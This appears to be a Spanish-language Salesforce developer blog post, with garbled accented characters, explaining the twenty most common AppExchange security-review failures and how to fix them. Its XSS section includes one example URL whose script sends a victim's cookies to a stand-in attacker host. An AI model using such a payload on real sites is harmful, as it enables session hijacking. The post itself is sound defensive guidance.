Las vulnerabilidades de aplicaci贸n de la seguridad a nivel de objetos y campos (CRUD/FLS) son la raz贸n principal (por un margen significativo) para no pasar la revisi贸n de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene alg煤n c贸digo de Salesforce, este problema debe ser su prioridad n煤mero uno a resolver antes de enviarlo para una revisi贸n de seguridad.

驴C贸mo puedo abordar esto?

Si, durante su proceso de codificaci贸n, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querr谩 hacer una revisi贸n muy exhaustiva de su c贸digo base para asegurarse de que no est茅 realizar cualquier operaci贸n de creaci贸n/lectura/actualizaci贸n/eliminaci贸n no marcada en objetos o campos.

El m茅todo preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer a煤n no lo admiten completamente (al momento de escribir esta publicaci贸n, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protecci贸n arrojar谩 falsos positivos). Code Analyzer Graph Engine es actualmente la 煤nica herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentaci贸n para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, m茅todos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensi贸n PMD para VS Code pueden ser 煤tiles herramientas que puede utilizar para comprobar su c贸digo base. Puede seguir nuestra gu铆a para obtener m谩s informaci贸n sobre c贸mo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El esc谩ner Checkmarx debe utilizarse como verificaci贸n final de violaciones de CRUD/FLS. Puede ejecutar este an谩lisis a trav茅s del Portal de seguridad para socios .

Obtenga m谩s informaci贸n sobre la aplicaci贸n de CRUD/FLS en Trailhead .

#2 鈥 Versi贸n de software insegura

驴Qu茅 es esto?

Esto significa que alguna pieza de software (normalmente, una versi贸n espec铆fica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayor铆a de las veces, es porque est谩s usando una versi贸n desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la m谩s com煤n), pero tambi茅n podr铆a ser algo as铆 como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

驴C贸mo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnolog铆as que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de c贸digo abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas p煤blicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. Tambi茅n puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su c贸digo base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentaci贸n de falsos positivos para argumentar que un CVE particular registrado no podr铆a aplicarse a su oferta, ya que quiz谩s no est茅 utilizando la funcionalidad asociada con ese CVE.

#3 鈥 Violaci贸n al compartir

驴Qu茅 es esto?

B谩sicamente, esto significa que tiene clases de Apex en las que no ha agregado expl铆citamente la palabra clave with sharing al encabezado de la clase, omitiendo as铆 las reglas de uso compartido de una organizaci贸n.

驴C贸mo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y aseg煤rese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicaci贸n a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede a煤n m谩s claro).

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Obtenga m谩s informaci贸n sobre c贸mo compartir el cumplimiento a trav茅s de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

驴Qu茅 es esto?

Los secretos no deben estar codificados en el c贸digo fuente. Aunque el c贸digo puede estar contenido en un paquete administrado donde el c贸digo est谩 oculto para los clientes, todav铆a existen razones por las que esta es una pr谩ctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podr谩 actualizarlo por s铆 mismo.

驴C贸mo puedo abordar esto?

Aseg煤rese de que no haya secretos codificados en el c贸digo fuente, incluso si es un paquete administrado. Aseg煤rese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso espec铆fico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuraci贸n personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga m谩s informaci贸n sobre el almacenamiento seguro de secretos en Trailhead .

#5 鈥 Configuraci贸n TLS/SSL

驴Qu茅 es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es v谩lido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si est谩n en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

驴C贸mo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisi贸n de seguridad ejecutar谩 este an谩lisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su soluci贸n. Si sus terminales no reciben una calificaci贸n A por cumplimiento de SSL/TLS, su revisi贸n de seguridad no ser谩 aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar m谩s detalles sobre los requisitos de TLS en las notas de la versi贸n .

#6 鈥 Informaci贸n confidencial en depuraci贸n

驴Qu茅 es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra informaci贸n confidencial, como secretos de aplicaciones, datos del sistema o informaci贸n de depuraci贸n demasiado detallada, a trav茅s de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado est谩 habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisi贸n de seguridad de AppExchange.

驴C贸mo puedo abordar esto?

En su paquete de Salesforce, aseg煤rese de buscar en su c贸digo fuente todas las declaraciones de depuraci贸n del paquete para asegurarse de que no registren informaci贸n confidencial o secretos.

Aseg煤rese de que los c贸digos de error y los mensajes de error en toda su soluci贸n tengan un nivel de informaci贸n apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deber铆an ver seguimientos de pila completos ni informaci贸n de depuraci贸n detallada. De manera similar, aseg煤rese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los esc谩neres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP tambi茅n pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga m谩s informaci贸n sobre c贸mo verificar los seguimientos de la pila e informaci贸n detallada sobre las excepciones en el n煤mero 13.

#7 – CSRF

驴Qu茅 es esto?

La falsificaci贸n de solicitudes entre sitios (CSRF) es un tipo de ataque que enga帽a a una v铆ctima para que ejecute acciones no deseadas en una aplicaci贸n web en la que est谩 autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente da帽inas, como cambiar direcciones de correo electr贸nico y contrase帽as, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protecci贸n mientras se utilizan controladores y m茅todos est谩ndar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios m茅todos de acci贸n.

驴C贸mo puedo abordar esto?

En general, las aplicaciones web pueden prevenir ataques CSRF principalmente implementando tokens anti-CSRF, que son valores 煤nicos y espec铆ficos del usuario incluidos en cada solicitud de cambio de estado para verificar la fuente. Adem谩s, deben adoptar la pr谩ctica de cookies del mismo sitio, que impide que el navegador env铆e la cookie junto con solicitudes entre sitios, mitigando as铆 los riesgos de CSRF.

Para p谩ginas de Visualforce:

  • Al crear p谩ginas de Visualforce, evite utilizar solicitudes HTTP GET que cambien de estado; use POST o PUT para cambios de estado en su lugar
  • No ejecute acciones autom谩ticas ni cambie el estado (por ejemplo, operaciones DML) al cargar la p谩gina.
  • Otra t茅cnica de mitigaci贸n implica agregar una p谩gina de confirmaci贸n intermedia antes de realizar la acci贸n, donde el usuario puede confirmar que ten铆a la intenci贸n de realizar esa acci贸n.

Para componentes Lightning:

  • De manera similar a las p谩ginas de Visualforce, evite cambiar el estado o ejecutar acciones al cargar un componente Lightning, mediante enlaces como init (para Aura) ,connectedCallback , renderedCallback o constructor .

Al realizar llamadas API:

  • Para las API que no son de Salesforce, es posible que tambi茅n desee agregar su propio token CSRF.

CSRF es uno de los tipos de problemas de seguridad m谩s complicados, por lo que vale la pena invertir en aprender m谩s sobre 茅l en profundidad. Para los paquetes de Salesforce, existe excelente documentaci贸n para desarrolladores y un m贸dulo Trailhead como referencia.

Para otros tipos de aplicaciones web, es posible que desees consultar la documentaci贸n de OWASP .

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas en sus aplicaciones web externas.

N.潞 8: secuencias de comandos entre sitios (XSS) almacenadas y reflejadas

驴Qu茅 es esto?

Los ataques de secuencias de comandos entre sitios (XSS) son problemas de inyecci贸n en los que se insertan secuencias de comandos da帽inas en sitios web confiables. Ocurren cuando un atacante explota una aplicaci贸n web para enviar c贸digo malicioso, a menudo un script del lado del cliente, a un usuario diferente. Estos ataques explotan fallas en aplicaciones web que utilizan entradas de usuario no validadas o codificadas en su salida.

En un ataque XSS, el navegador de un usuario desprevenido ejecuta el script malicioso, creyendo que proviene de una fuente confiable. Esto permite que el script acceda a cookies, tokens de sesi贸n u otros datos confidenciales almacenados en el navegador. Incluso puede modificar el contenido HTML de la p谩gina.

Los ataques XSS almacenados son de tipo persistente, en los que la aplicaci贸n web almacena la entrada maliciosa y luego se muestra a los usuarios. Los ataques XSS reflejados, por otro lado, generalmente ocurren cuando se inyecta c贸digo malicioso en una URL, que se ejecuta cuando un usuario hace clic en ella (por ejemplo: http://example.com/search?query=<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script> ).

Los motivos por los que su aplicaci贸n podr铆a ser susceptible incluyen:

  • Entrada no validada : las aplicaciones pueden aceptar entradas del usuario y usarlas o mostrarlas en una p谩gina sin validarlas adecuadamente (para garantizar que no contenga c贸digo/scripts ejecutables).
  • Campos de texto enriquecido : almacenar entradas en campos RTF de Salesforce es riesgoso porque admiten contenido HTML, por lo que debe validar la entrada para evitar que se almacenen XSS.
  • P谩ginas de Visualforce : pueden ser susceptibles si utilizan entradas generadas por el usuario en el cuerpo HTML o en JavaScript sin un escape de entrada o codificaci贸n de salida adecuados.
  • Componentes web Aura y Lightning (LWC) : aunque tienen protecciones integradas contra XSS, los desarrolladores pueden evitar estas protecciones mediante cosas como el uso de la propiedad innerHTML , lwc:dom=鈥漨anual鈥 o el componente lightning:formattedRichText sin la validaci贸n de entrada adecuada.
  • Par谩metros de URL : las aplicaciones pueden usarlos directamente en el HTML o JavaScript de una p谩gina sin validaci贸n (lo que lleva a XSS reflejado).

驴C贸mo puedo abordar esto?

Su objetivo principal debe ser evitar la manipulaci贸n de DOM, pero tambi茅n recomendamos practicar el filtrado de entrada y la codificaci贸n de salida, que incluyen:

  • Evite la manipulaci贸n del modelo de objetos de documento (DOM): en su lugar, utilice t茅cnicas como directivas de plantilla y evite funciones de JavaScript potencialmente inseguras (por ejemplo, eval() , DOMParser.parseFromString() , Document.implementation.createHTMLDocument() , setTimeout() , setInterval() )
  • Filtrado de entrada: aseg煤rese de que la entrada del usuario no contenga c贸digo ejecutable mediante el uso de expresiones regulares y listas de bloqueo o listas de permitidos (por ejemplo, filtre los caracteres com煤nmente utilizados en el c贸digo, como '<', '>', comillas simples o dobles, ' /', ';', corchetes, par茅ntesis u operadores matem谩ticos o l贸gicos como '+', '&' o '-')
  • Codificaci贸n de salida : aseg煤rese de que si el c贸digo ejecutable pasara el filtrado de entrada, no se interprete como c贸digo al convertir caracteres "peligrosos" en versiones de texto inofensivas (por ejemplo, '&; debe convertirse a &amp; y '<' o '>' debe convertirse a &lt; y &gt;)

Este m贸dulo de Trailhead explica exactamente c贸mo mitigar XSS con estas t茅cnicas, y nuestra documentaci贸n para desarrolladores tambi茅n es 煤til aqu铆. Para obtener consejos espec铆ficos sobre la protecci贸n contra XSS en componentes Lightning, consulte la p谩gina Seguridad Lightning en la Gu铆a de codificaci贸n segura.

Para aplicaciones web que no son de Salesforce, tambi茅n puede consultar la documentaci贸n de OWASP para obtener consejos adicionales.

Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

#9: JavaScript no est谩 en recursos est谩ticos

驴Qu茅 es esto?

Muchos paquetes administrados por Salesforce no pasan la revisi贸n de seguridad por no almacenar JavaScript como recursos est谩ticos en sus paquetes y, en su lugar, se vinculan a archivos JavaScript alojados externamente con etiquetas <script> . La raz贸n principal de esta regla es que permite un control de versiones mucho m谩s seguro y garantiza la integridad de los archivos JavaScript en su paquete de Salesforce incluso si la fuente externa est谩 comprometida.

驴C贸mo puedo abordar esto?

Nuestra regla es que todos los recursos de script y estilo deben agregarse al paquete como recursos est谩ticos y luego cargarse con una etiqueta <apex:includeScript> en su p谩gina (para Visualforce) o un ltng:require en su .cmp o .app. marcado (para Aura).

Nota: Si tiene un LWC, defina los m贸dulos JavaScript que importe a su componente o use la funci贸n loadScript para cargar un archivo JavaScript de recursos est谩ticos.

Para paquetes que no son LWC, la mejor manera de verificar este problema es buscar manualmente su c贸digo fuente para asegurarse de que todas las bibliotecas de JavaScript est茅n almacenadas como recursos est谩ticos, no cargadas din谩micamente a trav茅s de hiperv铆nculos.

Para situaciones en las que esto no sea factible, recomendamos programar una cita en horario de oficina t茅cnica para analizar su caso de uso. Es posible obtener una excepci贸n en ciertos casos.

Obtenga m谩s informaci贸n sobre este problema en nuestra documentaci贸n para desarrolladores .

#10 鈥 Inyecci贸n SOQL

驴Qu茅 es esto?

La inyecci贸n SOQL es la versi贸n espec铆fica de Salesforce de la inyecci贸n SQL. Ocurre cuando una entrada no validada proporcionada por el usuario se inserta directamente en una consulta SOQL din谩mica. Si la entrada no est谩 validada, puede incluir comandos SOQL que modifican efectivamente la declaraci贸n SOQL y enga帽an a la aplicaci贸n para que ejecute comandos no deseados.

驴C贸mo puedo abordar esto?

La forma m谩s sencilla de evitar el problema es evitar consultas din谩micas en favor de consultas est谩ticas y utilizar variables vinculantes. De lo contrario, deber谩 validar estrictamente las entradas del usuario antes de usarlas en consultas mediante t茅cnicas como encasillamiento, lista blanca de entradas o escape.

Code Analyzer , PMD para VS Code y Checkmarx tambi茅n pueden ayudarlo a escanear su c贸digo.

Para obtener m谩s informaci贸n, consulte nuestro m贸dulo Trailhead o revise nuestra documentaci贸n para desarrolladores .

Para aplicaciones que no son de Salesforce, es posible que desee obtener m谩s informaci贸n sobre la inyecci贸n SQL en la gu铆a OWASP . Los esc谩neres de aplicaciones web, como Burp Suite , Chimera u OWASP ZAP , tambi茅n pueden ayudar a identificar problemas de inyecci贸n SQL.

#11 鈥 Lightning: carga CSS inadecuada

驴Qu茅 es esto?

Similar al problema de usar etiquetas <script> o <link> para cargar JavaScript en sus paquetes, usar etiquetas <link> o <style> para cargar CSS en lugar de <apex:stylesheet> (Visualforce) o <ltng:require> ( Aura) se considera una pr谩ctica insegura. Estas etiquetas <link> y <style> pueden hacer referencia a recursos externos o en l铆nea que contienen CSS o JavaScript, y la arquitectura de seguridad Lightning Web Security (LWS) de Salesforce no los controla ni los desinfecta.

Para los componentes de Aura, en particular, el uso de <ltng:require> tambi茅n permite a Salesforce aplicar correctamente las reglas de seguridad LWS y garantizar que el CSS que est谩 cargando est茅 correctamente aislado y no incluya c贸digo o estilos JavaScript no seguros que puedan afectar negativamente a otros. partes de su aplicaci贸n Salesforce.

驴C贸mo puedo abordar esto?

Para hacer referencia a un recurso CSS externo que haya subido como recurso est谩tico, use una etiqueta <apex:stylesheet> en su p谩gina (para Visualforce) o una etiqueta <ltng:require> en su marcado .cmp o .app (para Aura ). Busque el c贸digo fuente de su paquete para asegurarse de que no haya utilizado etiquetas <link> o <style> en ning煤n lugar para cargar recursos CSS.

Nota: Si tiene una LWC, no puede encontrarse con este problema de todos modos porque, al igual que las etiquetas <script> , las etiquetas <style> ya est谩n bloqueadas para su uso dentro de las plantillas HTML. En su lugar, incluir铆a su CSS en el archivo CSS asociado de su componente o usar铆a la funci贸n loadStyle para cargar un archivo CSS de recursos est谩ticos.

Puede encontrar m谩s informaci贸n en nuestra documentaci贸n para desarrolladores .

#12: JavaScript en Salesforce DOM (solo experiencia cl谩sica)

驴Qu茅 es esto?

Salesforce tiene reglas estrictas sobre el uso de JavaScript y una de esas reglas es que JavaScript no se puede ejecutar directamente dentro del contexto de la aplicaci贸n Salesforce. Esto significa que no puede incluir bloques de JavaScript directamente dentro de los componentes que se ejecutan en Salesforce DOM, como HomePageComponents, WebLinks, Custom Buttons, etc.

En cambio, todo JavaScript debe residir bajo el dominio de espacio de nombres de su aplicaci贸n en las p谩ginas de Visualforce que usted controla, de modo que el JavaScript personalizado est茅 esencialmente aislado del DOM principal de Salesforce. Eso significa que no puede usar JavaScript para crear botones personalizados, pesta帽as web, componentes de p谩gina de inicio y elementos similares (por ejemplo, incluir controladores de eventos de JavaScript onclick en botones personalizados podr铆a ser motivo de falla).

驴C贸mo puedo abordar esto?

Esto es algo que deber谩 verificar manualmente en el c贸digo fuente de su paquete Salesforce. Verifique y aseg煤rese de que no haya utilizado JavaScript para crear botones personalizados, pesta帽as web, componentes de la p谩gina de inicio u otros elementos similares, y verifique que cualquier JavaScript personalizado est茅 incluido solo en el dominio de su aplicaci贸n con espacio de nombres en las p谩ginas de VisualForce que controla como parte de su aplicaci贸n.

Una forma de verificar esto es buscar el texto <openType>onClickJavaScript</openType> en los archivos de metadatos de la aplicaci贸n (a menudo en archivos XML como weblink/something.weblink) y, si lo encuentra, aseg煤rese de eliminarlo. Incluso si su aplicaci贸n solo est谩 destinada a usarse en Lightning Experience, si la vulnerabilidad est谩 presente para los usuarios en modo Cl谩sico, el paquete no se puede aprobar.

Esta regla en particular no est谩 especialmente bien documentada, pero puede leer m谩s en el documento Lista de verificaci贸n de revisi贸n de seguridad de AppExchange (se requiere iniciar sesi贸n en la comunidad de socios).

#13 鈥 Divulgaci贸n de informaci贸n en p谩ginas de error y excepciones

驴Qu茅 es esto?

En el contexto de la revisi贸n de seguridad de AppExchange, este t茅rmino se refiere espec铆ficamente a situaciones (generalmente en aplicaciones o servicios web que no son de Salesforce o fuera de plataforma) donde sus p谩ginas de error muestran datos confidenciales del sistema o informaci贸n de depuraci贸n. Por ejemplo, a veces las p谩ginas de error incluyen seguimientos de pila completos que muestran c贸mo se hace referencia internamente a los objetos o rutas de archivo relativas al lugar donde est谩 instalada la aplicaci贸n. A veces, incluso la informaci贸n confidencial queda expuesta de esta manera.

驴C贸mo puedo abordar esto?

Busque en su base de c贸digo llamadas que causen excepciones o que los seguimientos de pila se representen en cadenas o flujos de salida, y realice pruebas que puedan causar errores, como entradas no v谩lidas, entradas vac铆as, entradas demasiado largas, acceso a p谩ginas internas sin autenticaci贸n, omisi贸n de aplicaciones. flujo, etc

La herramienta de fuzzing de Burp Suite puede ser una gran ayuda en este caso.

Tambi茅n puede obtener excelentes consejos para realizar pruebas de seguimiento de pila a trav茅s de esta gu铆a de OWASP .

#14 鈥 Componentes de Aura: componente externo de CSS

驴Qu茅 es esto?

Se supone que los componentes de Aura son peque帽os, aut贸nomos, reutilizables y reposicionables. CSS que evita la encapsulaci贸n de componentes (a trav茅s de .THIS) o que utiliza un posicionamiento no est谩ndar (por ejemplo, flotante o posici贸n: absoluta o fija) infringe estas garant铆as y puede interferir con la visualizaci贸n de otros componentes. En particular, el uso del posicionamiento absoluto en CSS es la raz贸n principal de este tipo de falla.

Si bien esto puede no parecer un problema de seguridad a primera vista, puede alterar el dise帽o del sitio web de Salesforce y viola el esp铆ritu del modelo de seguridad de Lightning, donde los componentes est谩n estrictamente aislados y se garantiza que permanecer谩n en su propio carril.

驴C贸mo puedo abordar esto?

Este es otro problema que debes verificar manualmente. B谩sicamente, busque en el CSS de su componente Aura, especialmente para posicionamiento absoluto/fijo o ancho y alto fijos. Tambi茅n recomendamos revisar nuestra documentaci贸n para asegurarse de que est谩 siguiendo todas las reglas CSS correctas.

#15 鈥 Canal de mensajes expuesto

驴Qu茅 es esto?

Este t茅rmino se refiere espec铆ficamente a los casos en los que no ha configurado el indicador isExposed en Lightning Message Channel en falso. Dado que esto proporciona acceso a la API del Servicio de mensajes Lightning (LMS), que le permite publicar y suscribirse a mensajes en todo el DOM y entre Aura, Visualforce y Lightning Web Components, debe establecerse en falso a menos que sea realmente necesario.

驴C贸mo puedo abordar esto?

Tiene dos opciones, seg煤n su caso de uso, que incluyen:

  1. Registre un ticket de soporte para solicitar que se habilite la eliminaci贸n de componentes administrados para su paquete u organizaci贸n de Dev Hub y elimine el componente del paquete. Si no puede hacerlo (por ejemplo, si esto afectar铆a la funcionalidad de los suscriptores que dependen de canales de mensajes expuestos), puede dejar el componente en el paquete y simplemente no usarlo (aseg煤rese de mencionar esto espec铆ficamente en un mensaje falso). documento positivo sobre su presentaci贸n).
  2. Si tiene que utilizar un componente de canal LMS, aseg煤rese de tener isExposed=false . Esto debe hacerse creando un nuevo componente de canal LMS porque los componentes existentes con isExposed=true no pueden cambiar isExposed=false . Utilice 煤nicamente el componente reci茅n creado en el c贸digo.

M谩s informaci贸n est谩 disponible en la documentaci贸n .

#16 鈥 Informaci贸n confidencial en URL

驴Qu茅 es esto?

Esto se refiere a una situaci贸n en la que se env铆a informaci贸n confidencial de larga duraci贸n en URL (por ejemplo, un ID o secreto de cliente, o un nombre de usuario/contrase帽a). En realidad, esto puede llevar a que se filtren secretos a largo plazo de varias maneras posibles. Por ejemplo:

  • Las URL completas a menudo se almacenan en servidores en registros de texto sin cifrar que pueden no almacenarse de forma segura y pueden ser vistos por el personal o comprometidos por un tercero.
  • Los motores de b煤squeda indexan URL y almacenan inadvertidamente informaci贸n confidencial
  • Almacenamiento de rutas URL completas en el historial del navegador local, cach茅 del navegador, marcadores y marcadores sincronizados entre dispositivos
  • Informaci贸n de URL enviada a aplicaciones web de terceros a trav茅s del encabezado de referencia o expuesta a scripts de terceros en la p谩gina

驴C贸mo puedo abordar esto?

Burp Suite puede ayudarle aqu铆 para aplicaciones web que no sean de Salesforce o fuera de plataforma, pero en general recomendamos comprobar manualmente su aplicaci贸n para detectar cualquier caso en el que se env铆en secretos a largo plazo a trav茅s de URL. Dependiendo de su caso de uso, es posible que deba realizar cambios, como usar solicitudes POST en lugar de solicitudes GET, cambiar su m茅todo de autenticaci贸n (OAuth 2.0 es generalmente ideal) y emplear cifrado y mejores m茅todos de almacenamiento de secretos.

La gu铆a OWASP es un gran recurso a seguir.

#17 鈥 Punto final inseguro

驴Qu茅 es esto?

El nombre de esta vulnerabilidad simplemente se refiere a situaciones en las que se utiliza HTTP en lugar de HTTPS.

驴C贸mo puedo abordar esto?

Las herramientas de escaneo pueden ser de ayuda, pero una forma a煤n m谩s segura de verificar esto es buscar en el c贸digo fuente enlaces HTTP y cambiarlos a HTTPS. Puede aprender un poco m谩s sobre c贸mo esto mejora la seguridad en esta p谩gina de OWASP .

#18 鈥 Enumeraci贸n de nombre de usuario o correo electr贸nico

驴Qu茅 es esto?

Por lo general, este problema solo surge en aplicaciones web externas fuera de la plataforma Salesforce. Se refiere a una situaci贸n en la que los atacantes pueden enumerar listas de nombres de usuario o correos electr贸nicos de su base de usuarios, generalmente analizando cambios en mensajes de error en funciones de inicio de sesi贸n, funciones de olvido de contrase帽a o registros de cuentas. Los atacantes suelen hacer esto para poder comprobar si hay contrase帽as reutilizadas de bases de datos comprometidas y fugas o volcados de contrase帽as.

驴C贸mo puedo abordar esto?

Verifique sus mensajes de error para registros de cuentas, recuperaci贸n de contrase帽as, intentos de inicio de sesi贸n, etc., y aseg煤rese de que su mensaje de error sea el mismo independientemente de si el nombre de usuario o el correo electr贸nico ingresado es v谩lido.

Por ejemplo, muchos sitios incluyen un mensaje gen茅rico, como: "Si dicho usuario existe, recibir谩 un correo electr贸nico con un restablecimiento de contrase帽a". Este tipo de mensaje general evita confirmar la existencia de un nombre de usuario o correo electr贸nico.

Por supuesto, en determinadas situaciones, puede ser inevitable (por ejemplo, durante el registro de una cuenta, es posible que deba confirmar que se ha utilizado un nombre de usuario). En esas situaciones, intente implementar controles que impidan la enumeraci贸n por fuerza bruta, como captchas para evitar que los robots eliminen su formulario de registro.

Burp Suite es una excelente herramienta para verificar esto, pero si no la tiene, tambi茅n puede revisar sus funcionalidades de inicio de sesi贸n manualmente.

OWASP tiene una gu铆a 煤til para evitar la enumeraci贸n de correos electr贸nicos y nombres de usuarios.

#19 鈥 Gesti贸n de contrase帽as

驴Qu茅 es esto?

En ocasiones, el equipo de seguridad falla en sitios y aplicaciones web externos (que no sean Salesforce) por tener pol铆ticas de contrase帽as problem谩ticas, como por ejemplo:

  • Permitir la reutilizaci贸n de la misma contrase帽a cuando es necesario restablecerla
  • No solicitar la contrase帽a anterior cuando se permite a los usuarios establecer una nueva contrase帽a
  • Para restablecer la contrase帽a, enviar una contrase帽a temporal al correo electr贸nico de un usuario en texto sin formato
  • Dejar contrase帽as predeterminadas en los usuarios ra铆z del servidor o de la base de datos

驴C贸mo puedo abordar esto?

Adem谩s de evitar las situaciones anteriores, consulte la Hoja de referencia de autenticaci贸n de OWASP para obtener algunas pautas sobre c贸mo establecer pol铆ticas de contrase帽as seguras:

Burp Suite tambi茅n es muy 煤til para identificar problemas relacionados con las contrase帽as (por ejemplo, puede usarlo para intentar forzar sus p谩ginas de inicio de sesi贸n).

#20 鈥 Eco de contrase帽a

驴Qu茅 es esto?

Esto es un poco diferente del problema de administraci贸n de contrase帽as descrito anteriormente. Un eco de contrase帽a se refiere a situaciones en las que las contrase帽as se reflejan en texto sin formato en la interfaz de usuario (como cuando el usuario visita su propia p谩gina de configuraci贸n) o en llamadas API/respuestas JSON.

驴C贸mo puedo abordar esto?

Aseg煤rese de que su contrase帽a no se revele ni se transmita en texto sin formato en ninguna parte de su aplicaci贸n. Aseg煤rese de que en las p谩ginas de configuraci贸n u otras p谩ginas que muestran secretos, se muestren solo como asteriscos (se pueden mostrar al hacer clic en el bot贸n si es necesario).

Consulte la hoja de referencia sobre almacenamiento de contrase帽as de OWASP para obtener m谩s informaci贸n.

Burp Suite , o quiz谩s Chimera u OWASP ZAP , tambi茅n pueden ayudarle a detectar estos problemas.

Recursos adicionales

Si su soluci贸n incluye sitios web o aplicaciones web personalizados que no son de Salesforce, le recomendamos encarecidamente invertir en una licencia de Burp Suite si es financieramente viable para su organizaci贸n. Burp Suite es una de las mejores herramientas de seguridad del mercado y tambi茅n la utiliza mucho nuestro propio equipo de seguridad de productos. Chimera u OWASP ZAP son alternativas completamente gratuitas, pero prep谩rate para invertir m谩s tiempo en t茅rminos de revisi贸n manual, ya que carecen de muchas de las potentes funciones/herramientas que tiene Burp Suite.

Nota: Si su oferta se integra con aplicaciones o servicios web que no son de su propiedad, no intente escanear los puntos finales hasta que haya obtenido el permiso del propietario.

Salesforce Product Security tambi茅n utiliza Code Analyzer , PMD para VS Code y Checkmarx para revisar el c贸digo fuente del paquete Salesforce. Tambi茅n utilizan la base de datos CVE y el esc谩ner Qualys SSL en la mayor铆a de los env铆os.

Si tiene problemas de seguridad y necesita orientaci贸n t茅cnica, los socios ISV pueden registrarse para obtener horas de oficina gratuitas con nuestros ingenieros de seguridad a trav茅s del Portal de seguridad para socios .

Por 煤ltimo, no podemos recomendar lo suficiente Trailhead en t茅rminos de preparaci贸n para revisiones de seguridad. Vale la pena dedicar tiempo a la ruta Desarrollar aplicaciones web seguras y tambi茅n acabamos de renovar el m贸dulo Revisi贸n de seguridad de AppExchange , que analiza el proceso de env铆o de un extremo a otro.

Sobre el Autor

Anika Teppo es evangelista t茅cnica en Salesforce. Ha estado trabajando con el equipo de revisi贸n de seguridad de AppExchange en Salesforce desde 2017, y su funci贸n actual consiste en hacer que Salesforce Labs y las soluciones internas se revisen y publiquen en AppExchange.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Seguir leyendo